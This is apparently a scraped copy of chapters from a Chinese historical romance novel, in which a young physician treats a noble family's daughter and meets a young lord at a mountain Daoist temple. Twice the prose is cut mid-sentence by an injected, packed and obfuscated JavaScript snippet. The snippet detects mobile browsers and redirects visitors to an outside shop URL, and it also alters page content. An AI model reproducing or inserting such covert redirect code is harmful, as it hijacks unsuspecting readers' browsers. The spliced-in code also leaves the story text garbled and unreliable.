娇娇看向周管事，谨慎道：“承蒙沈夫人记挂，民女惶恐。只是民女年轻学浅，医术粗陋，恐难当此任。沈小娘子若有不适，何不清仁心堂的赵药师，或是济世堂的关大夫？他们都是菰城名医，医术远胜民女。” 周管事笑容不变：“许娘子过谦了。我家夫人既命老身来请，自是信得过娘子的医术。况且——”她顿了顿，声音压低了些，“我家小娘子这病症有些特殊，这些年也请过不少大夫，总不见根除。听闻许娘子制药颇有巧思，尤擅调理，这才想请娘子去看看。诊金方面，沈府绝不会亏待。” 话说到这份上，再推辞便是不识抬举了。 许娇娇沉吟片刻，道：“既如此，民女恭敬不如从命。只是需容民女稍作准备，带上药箱。” “娘子请便。” 许娇娇转身去了后院，静尘已听见前堂动静，跟了过来，眼中满是担忧：“娇杏，你真要去？” “尚书第府上相邀，推脱不得。”许娇娇低声道，“况且，这是个机会。若能与如此煊赫的人家交好，对咱们有益无害。” 静尘知道她说得在理，可还是不安：“我陪你去。” “不用。”许娇娇摇头，“沈府既只请我一人，你便在家等着。我去去就回，不会耽搁太久。”她顿了顿，“若我申时未归，你便去铺子找张伯。” 静尘用力点头：“好，你千万小心。” 许娇娇收拾好药箱——里头除了常用的银针、艾绒、止血药，还带了几瓶自制的成药：通窍醒神丸、安神散、健脾丸。想了想，又把李真人送的那套骨针也带上。 走出铺子时，周管事已候在车边，亲自为她打起车帘。 马车内布置简洁雅致，铺着软垫，角落里放着一个小小的香炉，燃着清淡的檀香。许娇娇坐定，周管事便在车辕上坐好，吩咐车夫启程。 马车辘辘行驶在青石板路上，风铎声清脆而有节奏。许娇娇透过车窗缝隙往外看，街道、行人、商铺一一掠过。车行的方向是往城东，那里是菰城达官显贵聚居之处。 约莫行了两炷香时间，马车在一座府邸前停下。 许娇娇下了车，抬头望去。朱漆大门上悬着黑底金字的大匾上，书着规整的楷体大字“尚书第”，字体苍劲有力。门前一对石狮，威风凛凛。台阶扫得干干净净，连片落叶也无。 周管事引着她从侧门入府。穿过一道影壁，便是一座精巧的园林。假山叠石，曲水流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222047|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觞，廊桥蜿蜒，处处透着江南园林的雅致。时值春日，园中花开正盛，桃红柳绿，蝶舞蜂忙，美不胜收。 许娇娇暗暗赞叹，果然是大户人家，处处透着精致。过了月洞门，沿游廊走一炷香，转过一座假山，再过一道拱桥，便到了一处清幽的院落。 院门上题着“沁芳斋”三字。院内几丛翠竹，一架紫藤，正房前种着两株海棠，此时花开如霞。 周管事在正房门前停下，轻声回禀：“夫人，许娘子到了。” 门内传来一个温和的女声：“请进来。” 许娇娇深吸一口气，定了定神，这才迈步进屋。 屋内陈设清雅，紫檀木的家具，多宝阁上摆着些书籍、瓷器。正中坐着一位四十来岁的妇人，穿着沉香色褙子，头戴珠翠，面容慈和，眼神温润，正是沈夫人。她身侧站着个十五六岁的少女许小娘子。只是面色仍有些苍白，身形也单薄。 许娇娇垂首行礼：“民女许娇杏，见过沈夫人、沈娘子。” 沈夫人含笑抬手：“许娘子不必多礼。快请坐。”又对身旁的丫鬟道，“看茶。” 许娇娇依言在下首的绣墩上坐定，接过丫鬟递来的茶放在茶几上。 沈夫人打量她片刻，缓缓开口：“许娘子，三年前你曾救小女于危难。前些时日，我让阿叔引见娘子，感谢娘子的救命之恩。当时我们娘俩与娘子打了个照面，未曾详询，只道娘子参加了医药鉴别会，当时匆忙未曾相约，阿叔走时，曾言，若小女有恙，当寻娘子问诊，阿叔说娘子对妇人之症候有独到见解。今日冒昧相邀，望娘子勿怪。” “沈夫人言重了。医者本分，不敢当恩情二字。” “你不必过谦。”沈夫人道，“那夜情形危急，若非你处置得当，小女恐怕凶多吉少。这些年，我们也请过不少大夫为小女调理，可总难断根。前些日子听阿叔你在医药鉴别会上表现出众，连王太医都当众嘉许，便想着请你来看看。” 许娇娇恭敬道：“民女定当尽力。只是学艺不精，若有疏漏之处，还望夫人海涵。” 沈夫人温声道：“许娘子不必有压力。先为小女诊脉吧。” 丫鬟搬来绣墩，请许娇娇到沈小姐身旁。沈小姐伸出手腕，袖口滑落，露出一截纤细的手腕，肤色白皙得近乎透明。 许娇娇净了手，三指搭上腕脉，凝神细诊。 脉象细弱，如游丝，时有时无。又请沈小姐伸舌查看——舌质淡，苔薄白。 “小姐平日可有气短、乏力、畏寒之症？”许娇娇轻声问。 沈小姐点头，声音细弱：“有的。总是觉得气不够用，走几步路便喘。夜里手脚冰凉，夏日里也不敢用冰。” “饮食如何？” “胃口不佳，吃不多，吃多了便腹胀。” 许娇娇心中有数了。这病症，是先天不足，后天失养，导致的气血两虚，脾肾阳虚。病根深，非一日可愈。 她收回手，沉吟片刻，才开口道：“小姐这症，是胎里带来的不足，加之后天调理不当，以致气血亏虚，脾肾阳虚。需温补脾肾，益气养血，缓缓图之，急不得。” 夫人眼中都露出讶异。这番话，与之前几位名医的诊断不谋而合，可从一个十三四岁的小娘子口中说出，还是让人意外。 “可有治法？”沈夫人急切问。 “有。”许娇娇点头，“需内服外调相结合。内服温阳益气、健脾养血的汤药；外可配合艾灸温通经络。饮食也需注意，宜温宜补，忌生冷寒凉。” 她顿了顿，又道：“民女可先开个方子，夫人可请其他大夫参详，若无异议，再服用不迟。” 这般谨慎，更让沈夫人高看一眼。 沈夫人颔首：“许娘子考虑周全。既如此，便请开方吧。” 丫鬟捧来文房四宝。许娇娇提笔，斟酌着写下：黄芪五钱、党参三钱、白术三钱、当归二钱、熟地黄三钱、肉桂一钱、附子一钱、炙甘草二钱、生姜三片、大枣五枚。 写罢，又注明：附子需先煎半个时辰，去其毒性，再入他药同煎。每日一剂，早晚分服。 沈夫人接过方子细看，眼中赞赏之色更浓。这方子配伍严谨，药量斟酌得当，更难得的是连附子先煎这样的细节都标注清楚，足见用心。 “许娘子果然名不虚传。”她放下方子，温声道，“这方子，我看可行。只是不知，除了服药，可还有其他调理之法？” 许娇娇想了想，道：“艾灸可配合使用。取穴关元、气海、足三里，每日灸一刻钟，温阳益气。另外，民女自制了一种健脾丸，药性温和，可作平日调理之用。” 她从药箱里取出一瓶健脾丸，呈上去：“这是用党参、白术、茯苓、山药等药制成，每日早晚各服两粒，饭前用温水送下。” 沈夫人接过，拔开塞子闻了闻，药香清正，丸药圆润均匀，心中更添好感。 “有劳许娘子费心。”她笑道，“今日诊金，定不会亏待。” “多谢夫人，医者本分。” “许娘子如今在何处落脚？”沈夫人语气温婉，和许娇娇说上了家常。 许娇娇轻声细语：“民女如今在柳枝巷赁了处小院，与两位师姐同住。” 沈夫人点头。“听说你在张记坐诊。”沈夫人沉吟，“那张之和为人厚道，在他那儿坐诊，倒也不错。”她顿了顿，“若日后有什么难处，可来府上寻我。在菰城这一亩三分地，府上还能说得上几句话。” 许娇娇忙起身，郑重行了一礼：“民女多谢夫人关照。” 又说了会儿话，沈夫人命周管事送许娇娇出府。临行前，硬是让丫鬟塞给她一个沉甸甸的荷包，说是一点心意。 马车载着许娇娇往回走时，日头已偏西。她坐在车内，握着那个荷包，心中百感交集。 曾始于的一点恩惠，竟让侯府夫人记着，可见有时候善意的帮助，会不自觉为自己多了一条福报。知恩不图报，但有时候却不得不借助于恩情为自己脱困。 37. 第37章 纯阳宫偶遇 回到柳枝巷时，静尘和静心早已等在堂屋里，见她平安归来，这才松了口气。 许娇娇将今日之事细细说了，又将沈夫人给的荷包打开。里头是五两银子，还有一支成色不错的银簪。 “这银簪子真不错，”静心面露喜色，“娇杏，你带着正好。” “确实不错，做工精良。”许娇娇将银簪子交给静尘，“师姐先收起。往后给你和静心留着当嫁妆。” “阿弥陀佛，你个小娘子，乱说什么。”静尘面色大红，“我一个出家之人，可不能乱说。” “师姐，你都不做尼姑了，如今头发也长出来不少，还出家人出家人的！放心，往后，妹妹定给你们寻一个好婆家把你们嫁的风风光光的。” “娇杏，休得胡言。”静尘羞得满脸通红跑了出去。 “师姐害羞了。”静心捂着脸也笑的满脸通红。 “这银子也不能乱花，咱们攒着，日后总有用处。”看着静尘跑了出去，许娇娇笑着摇了摇头，“这有什么可难为情的，你说是吧！” 正说着，门外传来敲门声。 静心去开门，竟是张记铺子的陈伙计，手里提着一个食盒，脸上带着笑：“许姑娘，东家让我送些饭菜过来，说你们今日辛苦了。” 食盒里是四样菜，还有一壶热汤，显然是王氏特意准备的。 张东家一家，尤其是王氏，善良慈爱，犹如母亲般照顾她们三人。许娇娇心里充满了感激。 ...... 沈尚书第，沁芳斋。 时近六月，江南的梅雨如约而至。 沈府沁芳斋内，却难得有了一方晴暖。连日的阴雨暂歇，午后的阳光透过雕花窗棂，在青砖地上投下斑驳的光影。窗下那盆建兰开了，素白的花瓣在光里几乎透明，幽幽地吐着香气。 沈淑宁倚在临窗的榻上，身上搭着条杏子红的薄绸被，手里捧着卷书，却许久未翻一页。她今日气色好了许多，脸颊透出淡淡的红晕，不再似从前那般苍白得吓人。自从服了许娇娇开的方子，又每日按她教的法子艾灸、服用健脾丸，这些时日以来，身子竟一日比一日轻快。 “娘子今日可要起来走走？”丫鬟芙蕖在一旁轻声问。 沈淑宁放下书卷，点点头。芙蕖忙扶她起身，丹桂取来件月白色绣折枝梅花的褙子为她披上。 主仆三人缓步出了房门，在廊下站着。园中花木经了雨水，绿得发亮。海棠谢了，石榴却开了，火红的花朵在碧叶间灼灼地烧着。檐角的风铎被风吹动，发出清越的叮咚声。 “这雨停得正是时候。”沈淑宁深吸了一口雨后清新的空气，唇角微扬，“总觉得……身子松快多了。” 芙蕖笑道：“那位许娘子开的药确是管用。夫人昨日还说，要再请她来复诊呢。” 正说着，丹桂从外头进来，脸上带着笑，压低声音道：“娘子，打听到了。” 沈淑宁转头看她。 丹桂凑近些：“裴家郎君，前日和大郎君一道，往何山之阳的道观访友去了。” “何山纯阳宫？”沈淑宁蹙起眉，“这个时节……梅雨未歇，山路湿滑，去访什么友？” “奴婢是从大郎君跟前的雁书那儿听来的。”丹桂又补充道，“说是一早就动身了，怕是会在山上住一两日。” 沈淑宁默然片刻，目光望向园中那架开得正盛的紫藤。淡紫的花穗垂下来，在风里轻轻摇晃。 裴表哥…… 三个字在心里转了一圈，终究没有说出口。 她转身回屋，步子却比出来时轻快了些。 何山，纯阳宫。金盖山脚。 晨雾还未散尽，乳白色的霭气低低地压在林梢，将山峦的轮廓晕染得柔和而朦胧。石板路被夜雨洗得泛出青光，湿漉漉的，映着天光。空气里弥漫着草木的清气，混着泥土微腥的气息，一阵阵漫进车帷。 一辆黑漆平顶马车停在山道入口处。车帘掀起，裴宴弯身下车，石青色的袍角在晨风中轻拂。他抬头望了望笼在雾霭里的山峦，眼神沉静。 另一辆马车上，沈大郎君沈谦也下来了，一边整理着衣袖一边笑道：“这天气访道，倒应景。山色空蒙雨亦奇，说的便是这般了。” 裴宴微微一笑，没有接话。 两人将马车留在山下，只带了两个贴身随从，沿着石阶往山上走。 石阶年代久远，边缘已被岁月磨得圆润。阶缝里生出茸茸的苔藓，碧绿湿润，滑得很，需得仔细下脚。四下极静，只闻得远处涧水淙淙，近处竹叶尖偶尔坠下一滴积雨，“啪嗒”一声，清泠泠的，反倒衬得山林愈发幽寂。 沈谦边走边道：“这纯阳宫我幼时随父亲来过一次，那时年纪小，只记得观里的梅树老得很，开起花来云蒸霞蔚的。如今这时节，怕是无花可赏了。” “无花有叶，无果有枝。”裴宴淡淡道，“表兄若只见花时绚烂，倒也不算真懂梅花。” 沈谦一怔，随即抚掌：“妙！这话该记下来，回头说与清尘道长听。” 转过一道弯，雾忽地薄了些。眼前现出一带粉墙，墙头探出几枝老绿的梅树枝干，铁灰色的虬枝在雾里舒展着，叶片被雨水洗得油亮。并无巍峨山门，只一个月洞门，门额上“纯阳宫”三字是隶书，漆色斑驳，浑朴得几乎要隐进墙里。 一位中年道士已候在门侧。靛蓝道袍洗得微微发白，脚下一双芒鞋沾着泥痕，见他们近前，单手稽首，声音平和如深潭静水：“裴檀越，沈檀越，家师在云巢堂相候。” 语调不高，却似将周遭的雨气都熨得平和了。 进得门内，景象豁然开朗。 观内果然不似寻常宫观那般轴线森严。殿宇随山势高下错落，回廊蜿蜒如带，将几处精舍、亭台与自然山石、泉水勾连成一片。雨水顺着黛瓦淌下，在阶前汇成细流，淙淙注入一方小池。池水清可见底，几尾红鲤悠然摆尾。 池边有亭，匾曰“泻碧”。亭中石桌石凳空寂，檐角正悬着一串将断未断的雨珠，晶亮亮的，欲滴未滴。 引路道士步履轻稳，芒鞋踏在湿漉漉的石板上，几乎无声。沈谦低声对裴宴道：“闻说此地祖师闵真人倡医世之说，不独修己，更求利济众生。看这格局，确有丘壑，无烟火气。” 裴宴点头，目光却被石壁上一处摩崖石刻吸引。那是“古梅花心”四字，字迹漫漶，笔画似与山石同呼吸，浑然一体。 云巢堂并非宏阔殿堂，更像一座轩敞的山中书斋。 堂前古梅数株，此时无花，唯见铁灰色的虬枝舒展，在薄雾中显出苍劲的骨相。一位清癯老道立于檐下，须发如雪，面容却红润饱满，眼神温煦而明澈，正是观主清尘道长。 见礼入堂，室内陈设简朴。北壁悬吕祖像，笔意超逸；两侧书架上垒满典籍，纸色苍黄；窗下长案设着文房，一方砚台半池残墨，镇纸是块天然山石。一股清幽的松墨与旧纸香静静弥漫，混着窗外飘来的草木清气，沁人心脾。 “山居简陋，有劳二位冒雨莅临。”清尘道长亲自沏茶。泉水是新汲的“白云泉”，茶叶是观后自种的野茶。白瓷盏里汤色清碧，入口微涩，回味却甘，喉间一缕清凉久久不散。 “五月访梅，只见青叶，未免憾事。”沈谦啜了口茶，笑道。 “檀越着相了。”道长莞尔，将茶盏轻轻放下，“花时绚烂，固然可喜。然此时生机内蕴，枝叶舒张，承雨接露，方是根本。道亦如此，热闹处易见，寂寥处难寻。” 语声从容，如述家常。 沈谦此来，是为请教一段丹经疑义。他自袖中取出一卷手抄的经书，翻开某页，指着几行字恭敬道：“此句‘心死神活’，晚生参详多日，总觉隔着一层。心若死，神何以活？若心未死，又何谈神活？” 清尘道长听他陈述，并不即刻作答。只起身从架上取出一册旧抄本，纸色苍黄，边角磨损。他翻开页面，指着一行小字示意沈谦看。 沈谦凑近，见是闵一得真人的旁批：“心死神活，非枯寂也，乃生机流转无碍。” 他正若有所思，道长又添一句，声音温和如檐下滴雨：“譬如此时梅枝，无花无果，似枯似寂，然汁液在皮下行流，生命活泼泼地。观内观外，莫不如是。” 闻听此言，在座的裴宴心头却一震。 恰是这时，他的目光无意间掠过月洞门外的石径。 一个女子正从山下徐步而来。 雨不知何时停了。 云破处，漏下一缕淡金色的阳光，斜斜照在堂前湿润的青石板上。水光映着天光，满室微明。窗外传来弟子扫去积水的声音，竹帚划过石面，沙沙的，格外安宁。 裴宴的目光定住了。 那女子穿着一身雨过天青色的素罗衣裙，颜色清淡得几乎融进山色雾霭里。裙裾在微湿的石阶上轻曳，步履却极稳，一步一步，从容不迫。乌发只松松绾了个髻，斜插一支寻常木簪，再无别饰。 然而那张脸—— 肤色是山泉养就般的莹润白皙，被雨后微凉的风一激，透出淡淡的红晕。双眸清亮如被雨水洗过的星子，顾盼间自有一股鲜活的生气。她像是惯走山路的，气息匀净，四下张望时眉眼微弯，唇角天然噙着三分笑意，通身透着山野般的灵秀清透，却又无半点粗陋之气。 是她。 元宵夜那个莽撞的野丫头，医药会上那个沉静的小娘子。 裴宴心头蓦地一跳。 几个月不见，她似乎变了，又似乎没变。眉眼长开了些，身量也高了点，可那股子从骨子里透出来的、与这山水相契的鲜活气，却越发鲜明。 她怎么会在此地？ 许娇娇并未注意到堂内的目光。她正随王氏一行人缓缓上山。王氏今日来纯阳宫做道场，是为张记铺子祈福，也顺带答谢神明庇佑。许娇娇本不想出门，可王氏说这些日子大家都辛苦，也该散散心，又想着她从未来过何山，便硬拉了她来。 雨后山路湿滑，王氏年纪大了，走得慢。许娇娇搀扶着她，一边走一边留意脚下。纯阳宫的清幽景致让她心生欢喜——比起城里的人烟稠密，她还是更喜欢这样的山野之地。 “这地方真好。”王氏喘着气，在石阶旁歇脚，“难怪清尘道长名声在外，真是修行的好所在。” 许娇娇点头，目光落在远处那片古梅林上。无花的梅树在雾里静默着，却自有一股凛然的气度。 “许娘子也喜欢梅花？”同来的陈平家娘子笑着问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222048|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“喜欢。”许娇娇轻声道，“梅花不只是开花时才美。你看这些枝干，经冬历春，风骨犹存。” 她说话时，目光清澈，神情认真。 堂内，裴宴和沈谦都听见了这句话。 裴宴望着窗外那个雨过天青色身影，心里那点微澜，忽然平复下来。清尘道长那句“生机内蕴”，此刻有了具象话。 “宴弟？”沈谦察觉他走神，低声唤道。 裴宴收回目光，神色已恢复如常：“失礼了。方才见那位小娘子品评梅树，颇有见地。” 清尘道长也望向窗外，含笑道：“那位是张记生药铺张檀越的家眷。今日来做道场祈福的。”他顿了顿，“那位年轻些的小娘子，听说便是近日在菰城颇有名声的许娘子。” 裴宴心中微跳，面上却只淡淡道：“原来如此。” “远看犹如画中仙。”沈谦摇着折扇叹息。 谈话继续。清尘道长又为二人解了几处疑义，言语深入浅出，每句话都似有深意，却又说得平实。沈谦在一旁听着，时而点头，时而沉思。 约莫过了半个时辰，道童来报，道场已准备妥当。王氏一行人被引往正殿。 裴宴二人起身告辞。清尘道长送至云巢堂门口，单手稽首：“二位檀越慢行。山路湿滑，小心脚下。” 下山时，雾已散尽。阳光彻底破开云层，将山林照得一片清亮。石阶上的水渍渐渐干了，只留下一道道深色的痕迹。 在山门处，他们又与许娇娇一行人遇上了。 王氏认得沈谦，忙上前行礼：“沈大郎君安好。” 沈谦含笑还礼：“张夫人也来进香？” “是，铺子里做个小道场。”王氏说着，拉过许娇娇，“这是铺子里的许娘子，医术很好。” 许娇娇垂首行礼，姿态恭谨，并未多看裴宴一眼。 裴宴却在她抬眼那一瞬，捕捉到了她眸中一闪而过的讶异——她认出他了。 然而她什么也没说，只安静地退到王氏身后，如寻常小娘子般低眉顺目。 沈谦与王氏寒暄几句，便告辞下山。裴宴随在他身侧，经过许娇娇身边时，脚步未停，目光却在她脸上停留了一瞬。 四目相对，不过刹那。 她眼里没有惊慌，没有躲闪，只有一片沉静的坦然。仿佛元宵夜那个揪着他衣领趴在他背上的野丫头，清风楼前那个看起来单薄可怜的小娘子，都与眼前这个沉静的女子无关。 裴宴忽然觉得，还是那个野丫头好，今日的她让他觉得异常陌生，一种无法言说的失落浮上心头。 装腔作势。裴宴心头浮现出四个字。 马车驶离山脚时，他不由掀开车帘，回头望了一眼。 纯阳宫的粉墙隐在绿树丛中，只露出檐角一片黛瓦。山道上已空无一人，唯有风过林梢，沙沙作响。 “那位许娘子，就是前些日子在医药会上得了王太医嘉许的那位？”沈谦忽然问。 裴宴放下车帘：“应是。” “看着年纪真小。”沈谦感慨，“听说制药的手艺却老道，连周行老都夸。可惜是个女子，若是个男子，前途不可限量。” 裴宴没有接话。 马车辘辘行驶在归途上，车厢内一时寂静。他闭上眼，脑海里却浮现出那双清亮的眼睛，还有那句“梅花不只是开花时才美”。 生机内蕴。 他忽然有些明白清尘道长的意思了。 回到柳枝巷时，已是申时末。 夕阳将巷子里的槐树影子拉得老长，投在青石板路上，斑斑驳驳的。家家户户的烟囱里冒出炊烟，空气里飘着饭菜的香气。 许娇娇推开小院的门，旺财立刻摇着尾巴扑上来，绕着她打转。 “回来了？”静尘从厨房探出头，手里还拿着锅铲，“道场做得顺利么？” “顺利。”许娇娇放下随身的小包袱，走到井边打水洗手，“纯阳宫景致真好，清幽得很。清尘道长一看就是有道行的。” 静心从堂屋里出来，递给她一块布巾：“娇杏，今日可有什么趣事？” 许娇娇接过布巾擦手，动作顿了顿。 趣事？ 她想起山门处那一瞥。石青色衣袍的少年，眉眼依旧清俊锐利，看她的眼神却似乎与从前不同了——少了些审视与倨傲，多了些……她说不清的东西。 还有他身边那位沈大郎君，想来便是沈淑宁的兄长了。沈府果然家世不凡，连结交的朋友都气度非凡。 “没什么特别的。”她最终只是摇摇头，“就是看了些风景，听了会儿经。” 静尘不疑有他，转身回厨房继续炒菜。静心则拉着她讲今日街坊间的趣闻——隔壁刘寡妇的儿子在学堂里得了夫子夸奖，前街那家绸缎庄进了批新料子，花色鲜亮得很…… 许娇娇听着，唇角不自觉地扬起。 这样平凡而安稳的日子，正是她想要的。 晚饭后，她照例在灯下研读医书。李真人留下的脉案笔记已翻了大半，每看一遍都有新的体会。今日在纯阳宫，听了几句道长讲经，虽非医理，却莫名觉得与医道有相通之处。 “医者意也”，李真人常说的这句话，她似乎又懂了一点。 38. 第38章 裴宴的心思 沈府，寿安堂，是沈老夫人颐养天年的院落。 五进的院子，不算阔朗，却处处透着世家大族沉淀下来的雍容。抄手游廊的朱漆柱子刚重新漆过，鲜亮却不扎眼。廊下悬着一排兰花，正值花期，幽香细细地弥散在晨间的空气里。 裴宴穿过月洞门时，晨光正斜斜地照在影壁的砖雕上。那是幅“松鹤延年”图，鹤羽的纹理、松针的层叠都雕得极精细，在光里泛着温润的光泽。 他在影壁前略停了停，理了理石青色杭绸直裰的衣袖。今日是来向老夫人辞行的，在菰城盘桓了月余，京中已有书信来催。 正要举步，身后传来细碎的脚步声。 “表哥。” 声音清柔，带着少女特有的怯意。 裴宴转身。沈淑宁正站在三步外，穿着一身藕荷色绣缠枝玉兰的褙子，头发梳成双鬟，簪着两支珍珠小簪。晨光映在她脸上，能看见细密的绒毛，脸色比前些日子红润了些，只是眼下仍有些淡淡的青影。 她上前福了一礼：“表哥安好。” 裴宴颔首：“表妹好。” 两人便一前一后往正屋去。沈淑宁落后半步，脚步很轻，裙裾几乎不发出声音。裴宴能感觉到她的目光落在自己背上，带着小心翼翼的打量。 正屋里已有了人。 沈老夫人坐在上首的紫檀木圈椅里，穿着沉香色五福捧寿纹的褙子，头发梳得一丝不乱，簪着赤金点翠的抹额。虽已年过六旬，眼神却依旧清明，透着世家主母的威严与慈和。 下首坐着沈老侯爷沈钧。老爷子致仕荣归后，愈发清瘦，一把花白胡子垂到胸前，穿着一身半旧的栗色道袍，手里捻着串沉香木念珠，正闭目养神。他常年与三五好友谈玄论道，有时干脆住在城外的道观里，今日难得在府中。 再往下，是沈家老二沈明——沈淑宁的父亲。他是庶子，中举后无心仕途，便留在菰城打理祖产，兼任族中族长。四十来岁的年纪，面容温厚，眼神里却透着精明的光。此刻正低声与妻子李氏说着什么。 李氏便是沈淑宁的母亲，出身江南世家李家，管家理事是一把好手。今日穿着一身鸦青色织金褙子，头发梳得油光水滑，插着赤金嵌宝的掩鬓，端坐在那里，通身透着当家主母的利落与严整。 屋角还站着几个年轻些的公子，还有沈淑宁的几个堂姊妹，都规规矩矩地垂手侍立。 裴宴与沈淑宁上前，恭敬行礼。 “外祖母安。” “祖母安。” 异口同声。 老夫人脸上的皱纹舒展开来，露出慈爱的笑：“好，好，快起来。”她的目光不自觉落在裴宴身上，“宴哥儿今日这身打扮精神。是要出门？” “孙儿是来辞行的。”裴宴直起身，语气恭谨，“在菰城叨扰月余，京中父亲已有书信来催，明日便该启程回京了。” 老夫人的笑容凝在嘴角，眼里那点光倏地黯了下去，像被风吹熄的灯烛。她嘴唇动了动，没发出声音，只是缓缓伸出手——那手在半空停了片刻，才轻轻招了招。 “来……到外祖母这儿来。” 裴宴上前。老夫人握住他的手，握得很紧，指尖冰凉。 “这么快……”她声音发颤，眼睛一眨不眨地看着他，像要从这张年轻的脸上看出谁的影子，“前两年你来，都要住到秋深……外祖母总想着，多一日也好……” 她忽然说不下去了，低下头，用另一只手轻轻摩挲着裴宴的手背。那里有一道浅浅的旧疤，是幼时顽皮留下的。 “瘦了。”她终于抬起眼，眼眶通红，“京城……是不是吃得不好？睡得不安稳？”话一出口，眼泪就滚了下来，“你母亲在时，最怕你吃不饱……她若看见……” 她猛地停住，深深吸了口气，把哽咽压回去，可声音还是抖的：“你姐姐在宫里，娘家人见一面都难……外祖母老了，就剩下你……” 眼泪又落下来，滴在两人交握的手上。 裴宴喉头发紧，慢慢跪下来，额头轻轻抵着老夫人膝头：“外祖母……” “要好好的。”老夫人抚着他的头发，一遍又一遍，“一定要好好的。路上别赶夜路，到了京城就捎信来……天凉要知道添衣，读书累了就歇歇……外祖母什么都不求，只求你平平安安的……” 每一句叮嘱都浸着泪水，沉甸甸的。 沈老侯爷这时睁开眼，看着老妻颤抖的肩，看着外孙伏低的背影，沉默良久，才缓缓开口：“回去告诉你父亲……江南的春茶，我给他留了最好的。” 他的声音很稳，可放在膝上的手，却慢慢攥紧了。 裴宴抬起头，眼睛也是红的：“孙儿……记住了。” “母亲，”李氏见状，忙上前两步，柔声劝慰，她身后的几位年轻小娘子也跟着轻声附和，“宴哥儿如今正在御前行走，不像原先，是个清闲人，这是喜事。您这般伤心，宴哥儿心里该更不好受了，路上也难安。” 沈谦也适时笑着凑近，语气轻松：“祖母放心，宴弟这回在菰城，可是把城里城外的好去处都逛遍了。连西郊最偏的芦苇荡，南山上最难爬的野径，他都摸熟了。下回再来，怕是我这做向导的，都寻不出新花样啦！” 屋内凝重的气氛被这番玩笑话搅动，众人脸上都露出些笑意。几个年纪小些的堂姊妹偷偷抬眼打量裴宴，又飞快低下头，耳根却悄悄染上薄红。 沈淑宁静静站在母亲身侧，垂着眼，指尖无意识地绞着素绢帕子。他要走了……明日就走。这一个多月来，虽只在晨昏定省时远远见得几面，说过的话加起来不过寥寥数句，可知道他就住在府里，住在离她院落不算太远的客院，晨起读书，暮间习剑，心里便莫名有一份安稳的依托。 如今，这份依托也要被抽走了。 她忍不住抬眼，极快地瞥向那个身影。少年侧身立在光影交界处，熹微的晨光透过窗棂，恰好在他挺直的鼻梁上投下一道清晰的明暗界线。他正微倾着身，专注聆听外祖母哽咽的叮咛，侧脸沉静，唇角维持着恰到好处的、温润的弧度，既不过分亲热，也不显得冷淡。 永远是这样。礼貌，周全，无可挑剔，仿佛一切都照着最合宜的尺规行事。却也正因为这份无可挑剔，在那温和的表象之下，总像隔着一层看不见的、透不过的琉璃罩子。 她收回目光，指尖将帕子绞得更紧了些。那帕子上绣着的几瓣杏花，针脚细密，此刻却显得有些乱了。 “宁儿。”李氏忽然轻声唤她。 沈淑宁一惊，忙收回目光：“母亲。” “发什么呆？”王氏看她一眼，“去给你表哥斟茶。” “是。” 沈淑宁走到桌边，执起青瓷茶壶。手有些抖，壶嘴磕在杯沿上，发出清脆的声响。她定了定神，稳稳斟了七分满，双手捧给裴宴。 “表哥请用茶。” 裴宴接过：“有劳表妹。” 指尖短暂相触。沈淑宁像被烫到般缩回手，脸腾地红了。 好在无人注意。老夫人正拉着裴宴说话，沈明在与老侯爷低声商议族中事务，李氏在嘱咐丫鬟午膳的菜式。 沈淑宁退回母亲身侧，心跳如鼓。方才那一触，她感觉到裴宴指尖微凉，带着习武之人特有的粗糙。就那么一瞬，却让她整只手都酥麻了。 她在心里暗骂自己没出息。不过碰了一下，就这般失态。若是让母亲瞧见，定要斥责她不知礼数。 又说了会儿话，裴宴起身告辞。老夫人虽不舍，却也知留不住，只再三叮嘱路上小心。 沈谦几个堂兄弟一起去送裴宴，屋内气氛松快了些。几个堂姊妹小声说起话来，王氏起身去安排午膳，沈明另有要事也离开了。老侯爷又闭目养神去了。 接过孙女陪着老夫人说了会儿话，见她面露倦色，便也告退出来。 裴宴回到客院时，已近午时。 这院子在沈府东侧，清静雅致。三间正房，两间厢房，院子里种着几竿翠竹，一座小小的假山，山下凿了方浅池，养着几尾锦鲤。 他推门进屋，在临窗的榻上坐下。丫鬟早已备好了茶，是今春的龙井，汤色清碧，香气氤氲。 他却没有喝，只望着窗外那几竿翠竹出神。 在菰城这月余，确实如外祖母所说，有些“乐不思蜀”了。与表兄弟们或骑马射箭，或泛舟湖上，或访寺问道，日子过得逍遥。可心里总像缺了一块，空落落的。 直到那日在纯阳宫，看见那个雨过天青色的身影。 那个叫许娇杏的小娘子。 他想起元宵夜她揪着他衣领的莽撞，想起医药会上她沉静应对的从容，想起纯阳宫石径上她评说梅树时的通透。 截然不同的模样，却奇妙地融合在一个人身上。 更让他在意的是她那双眼。清亮，干净，像是山涧里洗过的石子，不染尘埃。看人时坦坦荡荡，没有寻常女子见到贵介公子时的羞怯或谄媚，也没有因他刻薄言语而生的怨怼。 她只是看着他，就像看着一棵树，一块石头。 这种被全然平等看待的感觉，对他而言，很新鲜。 裴宴端起茶盏，啜了一口。茶已微凉，涩味重了些。 他放下茶盏，扬声唤道：“长风。” 房门无声推开，一个二十来岁的青年走了进来。穿着深青色劲装，腰束皮带，脚下薄底快靴，面容普通，眼神却锐利如鹰。 这是他的贴身常随，也是心腹。 “郎主。”长风躬身。 